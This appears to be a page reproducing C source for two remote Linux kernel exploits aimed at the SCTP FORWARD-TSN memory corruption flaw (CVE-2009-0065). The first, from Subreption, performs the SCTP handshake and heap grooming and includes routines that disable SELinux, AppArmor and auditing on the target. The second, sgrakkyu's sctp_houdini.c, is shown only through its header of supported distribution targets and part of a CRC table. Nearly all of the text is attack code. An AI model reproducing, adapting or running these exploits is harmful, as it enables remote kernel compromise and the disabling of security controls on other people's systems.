839 struct sctp_paramhdr *hdrpar = NULL;
840 struct sctp_param_saddrtypes *saddrtypes = NULL;
841
842 if (!state->ssn_inbound || !state->ssn_outbound) {
843 fprintf(stderr, "[!] incorrect inbound/outbound stream limit(s).\n");
844 return -1;
845 }
846
847 datalen += sizeof(struct sctp_inithdr); /* base INIT chunk */
848 datalen += sizeof(struct sctp_paramhdr); /* FWD_TSN_SUPPORT parameter */
849 datalen += sizeof(struct sctp_paramhdr); /* ECN parameter */
850 datalen += sizeof(struct sctp_param_saddrtypes); /* addr types parameter */
851 datalen += 2; /* padding */
852
853 data = malloc(datalen);
854 if (data == NULL) {
855 perror("malloc");
856 return -1;
857 }
858
859 memset(data, 0, datalen);
860 pos = data;
861
862 /* Size will be calculated by sctp_ssnmap_size(), yields kmalloc-128:
863 * sizeof(struct sctp_ssnmap) + (44 + 10) * sizeof(__u16) = 128 bytes
864 */
865 inithdr = (struct sctp_inithdr *) pos;
866 inithdr->init_tag = htonl(state->in_vtag);
867 inithdr->a_rwnd = htonl(65535);
868 inithdr->num_outbound_streams = htons(state->ssn_outbound);
869 inithdr->num_inbound_streams = htons(state->ssn_inbound);
870 inithdr->initial_tsn = htonl(state->tsn);
871
872 /* ECN */
873 pos += sizeof(struct sctp_inithdr);
874 hdrpar = (struct sctp_paramhdr *) pos;
875 hdrpar->type = 0x0080;
876 hdrpar->length = htons(sizeof(struct sctp_paramhdr));
877
878 /* FWD_TSN_SUPPORT */
879 pos += sizeof(struct sctp_paramhdr);
880 hdrpar = (struct sctp_paramhdr *) pos;
881 hdrpar->type = SCTP_PARAM_FWD_TSN_SUPPORT;
882 hdrpar->length = htons(sizeof(struct sctp_paramhdr));
883
884 pos += sizeof(struct sctp_paramhdr);
885 saddrtypes = (struct sctp_param_saddrtypes *) pos;
886 saddrtypes->paramhdr.type = SCTP_PARAM_SUPPORTED_ADDRESS_TYPES;
887 saddrtypes->paramhdr.length = htons(sizeof(struct sctp_param_saddrtypes));
888 saddrtypes->types = htons(5);
889
890 send_sctp_chunk(target, (unsigned char *) data, datalen, SCTP_CID_INIT, 0);
891
892 wipe(data, datalen);
893 free(data);
894
895 return err;
896}
897
898/*
899 * Prepares a SCTP COOKIE-ECHO chunk containing the association cookie.
900 */
901
902int send_sctp_cookie_echo(target_t *target)
903{
904 int err = 0;
905
906 err = send_sctp_chunk(target, target->state->initack.cookie,
907 target->state->initack.cookielen,
908 SCTP_CID_COOKIE_ECHO, 0);
909
910 return err;
911}
912
913/*
914 * Reads a SCTP INIT-ACK chunk containing a response an INIT for the new
915 * association.
916 */
917static int get_sctp_initack(target_t *target, int debug)
918{
919 int i = 0;
920 socklen_t dstlen = sizeof(struct sockaddr);
921 ssize_t readlen = 0;
922 struct sctphdr *sctphdr = NULL;
923 struct sctp_inithdr *initack = NULL;
924 struct sctp_paramhdr *cookiep = NULL;
925 struct conn_info *state = target->state;
926 initack_args_t *args = (initack_args_t *) &state->initack;
927 unsigned char *buf = args->buf + state->linkskip;
928
929 memset(args->buf, 0, args->buflen);
930
931 readlen = recvfrom(state->sock, args->buf, args->buflen, 0,
932 (struct sockaddr *) &state->dstaddr, &dstlen);
933 if ((readlen < 0) || !readlen) {
934 perror("recvfrom");
935 return -1;
936 }
937
938 if ((unsigned int) readlen < (state->linkskip + sizeof(struct iphdr) +
939 sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr) +
940 sizeof(struct sctp_inithdr) + sizeof(struct sctp_paramhdr)))
941 {
942 fprintf(stderr, "[!] Insufficient INIT-ACK packet length.\n");
943 hexdump(args->buf, readlen);
944 return -1;
945 }
946
947 sctphdr = (struct sctphdr *) (buf + sizeof(struct iphdr));
948 if (ntohl(sctphdr->vtag) != state->in_vtag) {
949 fprintf(stderr, "[!] VTAG mismatch (expected 0x%08X, got 0x%08X).\n",
950 state->in_vtag, ntohl(sctphdr->vtag));
951 hexdump(args->buf, readlen);
952 return -1;
953 }
954
955 if (!pkt_has_sctp_chunk(buf, SCTP_CID_INIT_ACK)) {
956 fprintf(stderr, "[!] Not a INIT-ACK chunk! (ABORT?).\n");
957 hexdump(args->buf, readlen);
958 return -1;
959 }
960
961 initack = (struct sctp_inithdr *) (buf + sizeof(struct iphdr) +
962 sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr));
963 cookiep = (struct sctp_paramhdr *) (buf + sizeof(struct iphdr) +
964 sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr) +
965 sizeof(struct sctp_inithdr));
966
967 if (debug)
968 fprintf(stdout, "[+] Got INIT-ACK packet (%d bytes, init_tag %08X)\n",
969 readlen - state->linkskip, ntohl(initack->init_tag));
970
971 args->init_tag = ntohl(initack->init_tag);
972 args->tsn = ntohl(initack->initial_tsn);
973 state->out_vtag = args->init_tag;
974
975 /* This could be done by processing all the parameters but it seems to go
976 * always first (on Linux 2.6).
977 */
978 if (cookiep->type != SCTP_PARAM_STATE_COOKIE) {
979 fprintf(stderr, "[!] First parameter isn't STATE_COOKIE.\n");
980 hexdump((unsigned char *) cookiep, sizeof(struct sctp_paramhdr));
981 return -1;
982 }
983
984 args->cookielen = ntohs(cookiep->length) - sizeof(struct sctp_paramhdr);
985 if (args->cookielen < sizeof(struct sctp_paramhdr)) {
986 fprintf(stderr, "[!] Incorrect STATE_COOKIE length.\n");
987 return -1;
988 }
989
990 if (args->cookielen > (readlen - (state->linkskip + sizeof(struct iphdr) +
991 sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr) +
992 sizeof(struct sctp_inithdr))))
993 {
994 fprintf(stderr, "[!] STATE_COOKIE length greater than packet size.\n");
995 return -1;
996 }
997
998 args->cookie = malloc(args->cookielen);
999 if (args->cookie == NULL) {
1000 fprintf(stderr, "[!] Could not allocate memory for STATE_COOKIE.\n");
1001 return -1;
1002 }
1003
1004 memcpy(args->cookie, ((unsigned char *) cookiep) +
1005 sizeof(struct sctp_chunkhdr), args->cookielen);
1006
1007 if (debug) {
1008 fprintf(stdout, "[*] Cookie: ");
1009
1010 for (i = 0; i < (args->cookielen % 24); i++)
1011 fprintf(stdout, "%02X", args->cookie[i]);
1012
1013 fprintf(stdout, "... (%d bytes)\n", args->cookielen);
1014 }
1015
1016 return 0;
1017}
1018
1019/*
1020 * Reads a SCTP COOKIE-ACK chunk containing a response to our COOKIE-ECHO.
1021 */
1022int get_sctp_cookie_ack(target_t *target, int debug)
1023{
1024 int err = 0;
1025 struct conn_info *state = target->state;
1026 socklen_t dstlen = sizeof(struct sockaddr);
1027 ssize_t readlen = 0;
1028 unsigned char *buf = state->initack.buf;
1029 size_t buflen = state->initack.buflen;
1030 struct sctphdr *sctphdr = NULL;
1031
1032 memset(buf, 0, buflen);
1033
1034 readlen = recvfrom(state->sock, buf, buflen, 0, (struct sockaddr *)
1035 &state->dstaddr, &dstlen);
1036 if ((readlen < 0) || !readlen) {
1037 perror("recvfrom");
1038 return -1;
1039 }
1040
1041 if ((unsigned int) readlen < (sizeof(struct iphdr) +
1042 sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr)))
1043 {
1044 fprintf(stderr, "[!] Insufficient COOKIE-ACK packet length.\n");
1045 hexdump(buf, readlen);
1046 return -1;
1047 }
1048
1049 sctphdr = (struct sctphdr *) (buf + sizeof(struct iphdr));
1050
1051 if (ntohl(sctphdr->vtag) != state->in_vtag) {
1052 fprintf(stderr, "[!] VTAG mismatch (expected 0x%08X, got 0x%08X).\n",
1053 state->in_vtag, ntohl(sctphdr->vtag));
1054 hexdump(buf, readlen);
1055 return -1;
1056 }
1057
1058 if (!pkt_has_sctp_chunk(buf, SCTP_CID_COOKIE_ACK)) {
1059 fprintf(stderr, "[!] Not a COOKIE-ACK chunk! (ABORT?).\n");
1060 hexdump(buf, readlen);
1061 return -1;
1062 }
1063
1064 if (debug)
1065 fprintf(stdout, "[+] Got COOKIE-ACK packet (%d bytes).\n", readlen);
1066
1067 return err;
1068}
1069
1070/*
1071 * Poledancing in your slabs.
1072 */
1073int run_memory_leak_attack(target_t *target)
1074{
1075 int err = 0;
1076
1077 /* Not for public consumption :D */
1078 pthread_exit(NULL);
1079
1080 return err;
1081}
1082
1083static int _handle_secdisable(target_t *t, unsigned int idx, __u32 tsn)
1084{
1085 int err = 0;
1086 size_t plen = 0;
1087 unsigned char zero[4] = { 0, 0, 0, 0 };
1088
1089 if (t->info.flags & TARGET_FLAG_64BIT) {
1090 opts64_t *opts64 = (opts64_t *) t->opts;
1091 plen = (opts64->slubsize - opts64->chunksize) / 2;
1092
1093 err = make_ssn_payload(t, &opts64->secdisable[idx],
1094 sizeof(unsigned long long), plen);
1095 if (err < 0)
1096 goto bail_out;
1097
1098 if (verbose)
1099 fprintf(stdout, "[+] Will reset value at 0x%llX.\n",
1100 opts64->secdisable[idx]);
1101 } else {
1102 opts32_t *opts32 = (opts32_t *) t->opts;
1103 plen = (opts32->slubsize - opts32->chunksize) / 2;
1104
1105 err = make_ssn_payload(t, &opts32->secdisable[idx],
1106 sizeof(unsigned long), plen);
1107 if (err < 0)
1108 goto bail_out;
1109
1110 if (verbose)
1111 fprintf(stdout, "[+] Will reset value at 0x%lX.\n",
1112 opts32->secdisable[idx]);
1113 }
1114
1115 send_sctp_fwdtsnchunk(t, err, tsn);
1116
1117 err = make_ssn_payload(t, zero, sizeof(int), 0);
1118 if (err < 0) {
1119 fprintf(stdout, " failed!\n");
1120 return -1;
1121 }
1122
1123 //send_sctp_fwdtsnchunk(t, err);
1124
1125 return 0;
1126
1127bail_out:
1128 fprintf(stderr, "[!] failed to build stream!\n");
1129 return err;
1130}
1131
1132static int reset_security(target_t *t)
1133{
1134 if (t->info.flags & TARGET_FLAG_SELINUX) {
1135 fprintf(stdout, "[*] Disabling NSA SELinux in target host.\n");
1136 _handle_secdisable(t, 0, t->state->initack.tsn);
1137 }
1138
1139 if (t->info.flags & TARGET_FLAG_APPARMOR) {
1140 fprintf(stdout, "[*] Disabling Novell AppArmor in target host.\n");
1141 //_handle_secdisable(t, 1, t->state->initack.tsn);
1142 }
1143
1144 if (t->info.flags & TARGET_FLAG_AUDITOFF) {
1145 fprintf(stdout, "[*] Disabling audit subsystem in target host.\n");
1146 //_handle_secdisable(t, 2, t->state->initack.tsn);
1147 }
1148
1149 return 0;
1150}
1151
1152static int sctp_handshake(target_t *target, int debug)
1153{
1154 int err = 0;
1155 struct conn_info *state = target->state;
1156
1157 srandom(randseed());
1158 state->in_vtag = (__u32) (random() % 0xFFFFFFFF);
1159
1160 if (debug)
1161 fprintf(stdout, "[*] Starting a SCTP association with %s:%d.\n",
1162 state->dsthost, state->dstport);
1163
1164 /*
1165 * This directly affects the result of the calculation in XXX().
1166 * The result is then used in the kmalloc() call. Playing with these
1167 * values is not recommended unless you are well aware of how to work with
1168 * them.
1169 */
1170 if (target->info.flags & TARGET_FLAG_SLAB) {
1171 state->ssn_inbound = 10;
1172 state->ssn_outbound = 50;
1173 } else if (target->info.flags & TARGET_FLAG_SLUB) {
1174 state->ssn_inbound = 10;
1175 state->ssn_outbound = 10;
1176 } else {
1177 /* XXX calculate stream limits from target->info.slablen.
1178 * This influences which kmalloc cache is used to sore our ssn stream.
1179 */
1180 /* removed from shared exploit */
1181 }
1182
1183 /* INIT chunk handshake */
1184
1185 if (debug)
1186 fprintf(stdout, "[*] Sending INIT (in vtag=0x%08X)\n", state->in_vtag);
1187
1188 err = send_sctp_initchunk(target);
1189 if (err < 0) {
1190 fprintf(stderr, "[!] SCTP INIT failed.\n");
1191 return -1;
1192 }
1193
1194 if (debug)
1195 fprintf(stdout, "[*] Waiting for INIT-ACK...\n");
1196
1197 /* These should be zero already */
1198 state->initack.init_tag = 0;
1199 state->initack.cookielen = 0;
1200 state->initack.tsn = 0;
1201
1202 err = get_sctp_initack(target, debug);
1203 if ((err < 0) || (state->initack.cookie == NULL)) {
1204 fprintf(stderr, "[!] Failed to receive INIT-ACK.\n");
1205 return -1;
1206 }
1207
1208 /* Cookie exchange */
1209
1210 if (debug)
1211 fprintf(stdout, "[*] Sending COOKIE-ECHO...\n");
1212
1213 /* When sending a COOKIE ECHO, the endpoint MUST use the value of the
1214 * Initial Tag received in the INIT ACK. = inittag from INIT-ACK
1215 */
1216 err = send_sctp_cookie_echo(target);
1217 if (err < 0) {
1218 fprintf(stderr, "[!] Failed to send COOKIE-ECHO.\n");
1219 return -1;
1220 }
1221
1222 err = get_sctp_cookie_ack(target, debug);
1223 if (err < 0) {
1224 fprintf(stderr, "[!] Failed to receive COOKIE-ACK.\n");
1225 return -1;
1226 }
1227
1228 return err;
1229}
1230
1231static int cache_flush(target_t *target, int conns)
1232{
1233 int err = 0;
1234 int i;
1235 target_t *cur = NULL;
1236
1237 close_state_sockets(target->state);
1238
1239 fprintf(stdout, "[*] %s cache flush: Starting %d connections...\n",
1240 allocator_name(target->info.flags), conns);
1241
1242 for (i = 0; i < conns; i++) {
1243 cur = malloc(sizeof(struct target));
1244 if (cur == NULL) {
1245 perror("malloc");
1246 err = -1;
1247 break;
1248 }
1249
1250 memcpy(cur, target, sizeof(struct target));
1251
1252 cur->state = init_new_state();
1253 if (cur->state == NULL) {
1254 err = -1;
1255 break;
1256 }
1257
1258 memcpy(cur->state, target->state, sizeof(struct conn_info));
1259
1260 /* set correct source port to the incremental one */
1261 cur->state->srcport = target->state->srcport-(conns-1)+i;
1262 err = setup_state_sockets(cur->state);
1263 if (err < 0) {
1264 fprintf(stderr, "[!] %u: Cache flush socket setup failed.\n", i);
1265 break;
1266 }
1267
1268 err = sctp_handshake(cur, 0);
1269 if (err < 0) {
1270 fprintf(stderr, "[!] %u: SCTP association failed in cache flush.\n",
1271 i);
1272 break;
1273 }
1274
1275 close_state_sockets(target->state);
1276 wfree(cur->state, sizeof(struct conn_info));
1277 wfree(cur, sizeof(struct target));
1278
1279 cur->state = NULL;
1280 cur = NULL;
1281 }
1282
1283 if (i != conns)
1284 fprintf(stderr, "[!] Might help to increase source port (+%d)\n"
1285 "[!] Do NOT reuse the same port.\n", conns);
1286
1287 if (cur != NULL) {
1288 if (cur->state != NULL) {
1289 if ((cur->state->sock > 0) || (cur->state->rcvsock > 0))
1290 close_state_sockets(cur->state);
1291
1292 wfree(cur->state, sizeof(struct conn_info));
1293 }
1294
1295 wfree(cur, sizeof(struct target));
1296 }
1297
1298 if (!err) {
1299 err = setup_state_sockets(target->state);
1300 if (err < 0)
1301 fprintf(stderr, "[!] Failed to re-initialize sockets.\n");
1302
1303 fprintf(stdout, "[*] %s cache flush successful.\n",
1304 allocator_name(target->info.flags));
1305 }
1306
1307 return err;
1308}
1309
1310static int lets_prove_them_wrong(target_t *target)
1311{
1312 struct conn_info *state = target->state;
1313 int err = 0;
1314
1315 fprintf(stdout, "[*] Targeting %s (%s, %s).\n",
1316 target->info.kernel, arch_name(target->info.flags),
1317 allocator_name(target->info.flags));
1318
1319 state->initack.buflen = 8192;
1320 state->initack.buf = malloc(state->initack.buflen);
1321 if (state->initack.buf == NULL) {
1322 fprintf(stderr, "[!] Failed to allocate incoming packet buffer.\n");
1323 return -1;
1324 }
1325
1326 memset(state->initack.buf, 0, state->initack.buflen);
1327
1328 err = cache_flush(target, state->flush_conns);
1329 if (err < 0)
1330 goto out;
1331
1332 err = sctp_handshake(target, 1);
1333 if (err < 0) {
1334 fprintf(stderr, "[!] SCTP association handshake failed.\n");
1335 goto out;
1336 }
1337
1338 /*
1339 * WE ARE ABOUT TO DISABLE A SECURITY SYSTEM DESIGNED BY VERY SMART PEOPLE WITH PhDs
1340 * HOLD YOUR BREATH
1341 */
1342 err = reset_security(target);
1343 if (err < 0)
1344 fprintf(stderr, "[!] Failed to disable security system(s).\n");
1345
1346 /* You may breathe again, don't pass out just yet */
1347
1348 /*
1349 err = send_sctp_fwdtsnchunk(target);
1350 if (err < 0) {
1351 fprintf(stderr, "[!] SCTP FORWARD-TSN failed.\n");
1352 goto out;
1353 }
1354 */
1355
1356out:
1357 if (state->initack.buf != NULL)
1358 wfree(state->initack.buf, state->initack.buflen);
1359
1360 if (state->initack.cookie != NULL)
1361 wfree(state->initack.cookie, state->initack.cookielen);
1362
1363 return err;
1364}
1365
1366#define TARGET_INFO_FMT "" \
1367 "\t[%u] %s\n" \
1368 "\t\t Name:\t%s\n" \
1369 "\t\t Flags:\t0x%08lX\n"
1370
1371static void print_targets(void)
1372{
1373 unsigned int i;
1374 unsigned int ntargets = (sizeof(supported_targets) / sizeof(struct target)) - 1;
1375 struct target *cur = NULL;
1376
1377 fprintf(stderr, "\nAvailable (supported) targets:\n\n");
1378
1379 for (i = 0; i < ntargets; i++) {
1380 cur = (struct target *) &supported_targets[i];
1381
1382 fprintf(stderr, TARGET_INFO_FMT, i, cur->info.kernel,
1383 cur->info.name, cur->info.flags);
1384
1385 /* Print target architecture information */
1386 fprintf(stderr, "\t\t Arch:\t%.8s (%s allocator)\n",
1387 arch_name(cur->info.flags), allocator_name(cur->info.flags));
1388
1389 /* Print the supported features for this target */
1390 if (!(cur->info.flags & TARGET_FLAG_DEBUG)) {
1391 fprintf(stderr, "\t\t Supported features:\n");
1392
1393 if (cur->info.flags & TARGET_FLAG_64BIT)
1394 fprintf(stderr, "\t\t\tIs a 64-bit target.\n");
1395
1396 if (cur->info.flags & TARGET_FLAG_SELINUX)
1397 fprintf(stderr, "\t\t\tDisables SELinux enforcement mode.\n");
1398
1399 if (cur->info.flags & TARGET_FLAG_APPARMOR)
1400 fprintf(stderr, "\t\t\tDisables AppArmor.\n");
1401
1402 if (cur->info.flags & TARGET_FLAG_AUDITOFF)
1403 fprintf(stderr, "\t\t\tDisables audit subsystem.\n");
1404 } else
1405 fprintf(stderr, "\t\t Is a debug target (trigger overflow only).\n");
1406
1407 fprintf(stderr, "\n");
1408 }
1409}
1410
1411static void usage(const char *progname)
1412{
1413 fprintf(stderr, "Usage: %s -s SOURCE -p SPORT -H TARGET -P PORT -t TARGET\n"
1414 "Example: %s -s 192.168.1.67 -d 192.168.1.12 -p 4200 -t 0\n"
1415 "Copyright (c) 2009 Subreption LLC. All rights reserved.\n",
1416 progname, progname);
1417 print_targets();
1418 exit(EXIT_FAILURE);
1419}
1420
1421struct target *select_target(const char *arg)
1422{
1423 unsigned int i = 0;
1424 unsigned int ntargets = (sizeof(supported_targets) / sizeof(struct target)) - 1;
1425 struct target *ret = NULL;
1426
1427 for (i = 0; i < ntargets; i++) {
1428 ret = (target_t *) &supported_targets[i];
1429
1430 if (!strcmp(arg, ret->info.name) || !strcmp(arg, ret->info.kernel))
1431 break;
1432 else
1433 ret = NULL;
1434 }
1435
1436 if (ret == NULL) {
1437 fprintf(stderr, "[!] failed to select target (%s provided).\n", arg);
1438 print_targets();
1439 exit(EXIT_FAILURE);
1440 }
1441
1442 ret->state = init_new_state();
1443 if (ret->state == NULL) {
1444 fprintf(stderr, "[!] failed to allocate memory for conn. state.\n");
1445 exit(EXIT_FAILURE);
1446 }
1447
1448 return ret;
1449}
1450
1451int main(int argc, char **argv)
1452{
1453 int flush_conns = 600;
1454 char *dsthost = NULL;
1455 char *srchost = NULL;
1456 unsigned short dstport = 0;
1457 unsigned short srcport = 0;
1458 struct target *target = NULL;
1459 struct conn_info *state = NULL;
1460 pthread_t threads[1];
1461 int err = 0;
1462 int c = -1;
1463
1464 if (getuid()) {
1465 fprintf(stderr, "[!] SOCK_RAW requires root privileges.\n");
1466 exit(EXIT_FAILURE);
1467 }
1468
1469 while ((c = getopt(argc, argv, "s:H:p:P:t:c:vh")) != EOF )
1470 {
1471 switch(c)
1472 {
1473 case 'h':
1474 case '?':
1475 usage(argv[0]);
1476 break;
1477 case 'p':
1478 srcport = (int) atoi(optarg);
1479 break;
1480 case 's':
1481 srchost = optarg;
1482 break;
1483 case 'H':
1484 dsthost = optarg;
1485 break;
1486 case 'P':
1487 dstport = (int) atoi(optarg);
1488 break;
1489 case 't':
1490 target = select_target(optarg);
1491 break;
1492 case 'c':
1493 flush_conns = (int) atoi(optarg);
1494 break;
1495 case 'v':
1496 verbose++;
1497 break;
1498 default:
1499 break;
1500 }
1501 }
1502
1503 if (target == NULL) {
1504 fprintf(stderr, "[!] must specify a target (-t arg).\n");
1505 print_targets();
1506 exit(EXIT_FAILURE);
1507 }
1508
1509 if ((srchost == NULL) || (dsthost == NULL)) {
1510 fprintf(stderr, "[!] need both -s SOURCE and -H TARGET hosts.\n");
1511 exit(EXIT_FAILURE);
1512 }
1513
1514 if (!dstport) {
1515 fprintf(stderr, "[!] need -P PORT destination port number.\n");
1516 exit(EXIT_FAILURE);
1517 }
1518
1519 srandom(randseed());
1520
1521 if (!srcport)
1522 srcport = (unsigned short) (flush_conns + (random() % 0xFFFF) - 1);
1523
1524 if (srcport < (flush_conns + 1)) {
1525 fprintf(stderr, "[!] src port %d must be greater than flush_conn %u.\n",
1526 srcport, flush_conns);
1527 exit(EXIT_FAILURE);
1528 }
1529
1530 state = target->state;
1531 state->srcport = srcport;
1532 state->srchost = srchost;
1533 state->dstport = dstport;
1534 state->dsthost = dsthost;
1535 state->flush_conns = flush_conns;
1536
1537 if (resolver(&state->srcaddr, state->srchost) < 0) {
1538 fprintf(stderr, "[!] couldn't resolve the source address.\n");
1539 exit(EXIT_FAILURE);
1540 }
1541
1542 if (resolver(&state->dstaddr, state->dsthost) < 0) {
1543 fprintf(stderr, "[!] couldn't resolve the destination address.\n");
1544 exit(EXIT_FAILURE);
1545 }
1546
1547 if (setup_state_sockets(state) < 0) {
1548 perror("socket");
1549 fprintf(stderr, "[!] failed to setup sockets.\n");
1550 goto end;
1551 }
1552
1553 if (listen(state->rcvsock, 5) < 0) {
1554 perror("listen");
1555 fprintf(stderr, "[!] failed to listen on reception socket.\n");
1556 goto end;
1557 }
1558
1559 fprintf(stdout, "[+] Destination: %s:%d, source: %s:%d.\n",
1560 dsthost, dstport, srchost, srcport);
1561
1562 err = pthread_create(&threads[0], (pthread_attr_t *) NULL,
1563 (void *) &run_memory_leak_attack, (void *) target);
1564 if (err < 0) {
1565 fprintf(stderr, "[!] Failed to create thread for additional attack.\n");
1566 goto end;
1567 }
1568
1569 err = lets_prove_them_wrong(target);
1570 if (err < 0) {
1571 fprintf(stderr, "[!] SCTP exploit failed.\n");
1572 goto end;
1573 }
1574
1575 fprintf(stdout, "[+] Exiting.\n");
1576
1577end:
1578 if ((target != NULL) && (state != NULL))
1579 remove_state(state);
1580
1581 pthread_cancel(threads[0]);
1582 pthread_detach(threads[0]);
1583 pthread_exit(NULL);
1584
1585 if (err != 0)
1586 exit(EXIT_FAILURE);
1587
1588 return err;
1589}
1590
1591/* vim: set ts=4: */
1592
sgrakkyu’s version
Source code (C)
Originally available at http://sgrakkyu.antifork.org/sctp_houdini.c (Copyright (c) 2009 sgrakkyu)
1/* CVE-2009-0065 SCTP FWD Chunk Memory Corruption
2 * Linux Kernel 2.6.x SCTP FWD Memory COrruption Remote Exploit
3 *
4 * coded by: sgrakkyu <at> antifork.org
5 * http://kernelbof.blogspot.com
6 *
7 *
8 * NOTE: you need at least one sctp application bound on the target box
9 *
10 * Supported target:
11 * Ubuntu 7.04 x86_64 (2.6.20_15-17-generic / 2.6.20_17-server)
12 * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
13 * Ubuntu 8.10 x86_64 (2.6.27_7-10 geenric/server)
14 * Fedora Core 10 x86_64 (default installed kernel)
15 * OpenSuse 11.1 x86_64 (default installed kernel)
16 */
17
18
19
20
21#define _GNU_SOURCE
22
23#include <signal.h>
24#include <sched.h>
25#include <stdio.h>
26#include <string.h>
27#include <arpa/inet.h>
28#include <unistd.h>
29#include <sys/types.h>
30#include <netinet/in.h>
31#include <netinet/ip.h>
32#include <netinet/sctp.h>
33#include <stdlib.h>
34#include <sys/wait.h>
35#include <sys/time.h>
36#include <sys/select.h>
37#include <stdint.h>
38
39#define __OFFSET_PORT_64 62 // 92
40#define __OFFSET_HOST_64 64 // 94
41
42//#define __TARGET_SPORT 20000
43
44
45#ifndef __u8
46#define __u8 uint8_t
47#endif
48
49#ifndef __u16
50#define __u16 uint16_t
51#endif
52
53#ifndef __u32
54#define __u32 uint32_t
55#endif
56
57
58
59/* start crc routines: ripped from wireshark sources */
60#define SP_LEN 2
61#define DP_LEN 2
62#define VTAG_LEN 4
63#define CHK_LEN 4
64#define HEADER_LEN (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN)
65
66
67#define CRC32C(c,d) (c=(c>>8)^crc_c[(c^(d))&0xFF])
68static int32_t crc_c[256] =
69{
700x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
710xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
720x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
730x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
740x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
750xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
760x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
770x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
780x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
790xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
800xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
810x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
820x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
830xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
840xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
850x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
860x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
870x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
880xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
890x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
900x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
910x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
920xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
930x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
940x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
950xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
960xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
970x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
980x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
990xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
1000xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
1010x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
1020x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
1030x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
1040x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
1050xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
1060x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
1070x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
1080x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
1090xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
1100xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
1110x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
1120x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
1130xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
1140xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
1150x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
1160x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
1170xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
1180xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
1190x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
1200x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
1210x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
1220xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
1230x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
1240x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
1250x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
1260xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
1270x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
1280x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
1290xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
1300xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
